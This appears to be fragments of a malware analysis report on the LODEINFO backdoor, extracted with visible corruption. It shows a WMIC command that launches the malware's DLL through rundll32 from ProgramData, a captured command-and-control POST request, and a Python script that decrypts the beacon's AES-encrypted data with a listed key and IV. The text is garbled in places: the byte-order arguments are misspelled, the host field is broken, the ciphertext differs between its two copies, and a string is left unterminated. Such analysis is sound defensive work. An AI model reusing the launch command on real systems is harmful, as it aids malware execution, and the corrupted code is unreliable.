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wmic process call create "cmd /c cd %ProgramData%&start rundll32.exe [LODEINFODT 7
JL/NX] main"
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POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/77.0.3865.90 Safari/537.36

Host: [/RR M4&]

Content-Length: 193

Connection: Keep-Alive

Cache-Control: no-cache

data=DIajqgcc51Vulpjwvr36msbQAAADitmc5LmhL1VituiM40tDohYHRXBJ2R5yWjTYNYBTKUMGD2CPFpZwo?Z
RQPnYcQeRkqYNOyyRvfhAHSHAFDedFMJ1y01KztS1crvyayyYdL3zmNdE71MsWv2P5PeBzGU_VvOEGa@VycSTNe
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from Crypto.Cipher import AES
from base64 import urlsafe_b64decode
from binascii import a2b_hex

def decypt_lodeinfo_data(enc_data: str, key: bytes, iv: bytes) -> bytes:
header_b64 = enc_data[:0x1C]
header = urlsafe_b64decode(header_b64.replace(".", "="))

## decode with base64

postdata_size = int.from_bytes(header[0x10:0x14], byteorder="1little")
postdata_b64 = enc_data[0x1C:0x1C+postdata_size]

postdata = urlsafe_b64decode(postdata_b64.replace(".", "="))

## decrypt with AES

cipher = AES.new(key, AES.MODE_CBC, iv)

decrypt_size = int.from_bytes(postdata[0x30:0x34],byteorder="1ittle")
dec_data = cipher.decrypt(postdata[0x34:0x34+decrypt_size])

## remove junk bytes
junk_size = dec_data[-1]
dec_data = dec_data[:decrypt_size-junk_size]

return dec_data

encrypted_data =
"DIajgcc51Vudpjwvr36msbQAAADiItmc5LmhL1VituiM40tDohYHRXBJI2R5yWjTYNYBTKUMGD2CPFpZwO2cwPy
RQPnYcQeRkgYNOyyRvfhAHSHAFDedFMJ1y01KztS1crvyayyYdL3zmNdE71MsWv2P5PeBzGU_vOEGaOVycSfNe

KEY = a2b_hex("E20EF6C66A838DA222821DB1C5777251F1A9D5D14D2344CED68A353BFCAC4C5A")
IV = a2b_hex("CC45ABAD58152C6150F157367ECC53F3")

decrypted_data = decypt_lodeinfo_data(encrypted_data, KEY ,IV)
print("Decrypted Data: ", bytes.hex(decrypted_data))
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[1] GitHub: LodePNG - PNG encoder and decoder in C and C++
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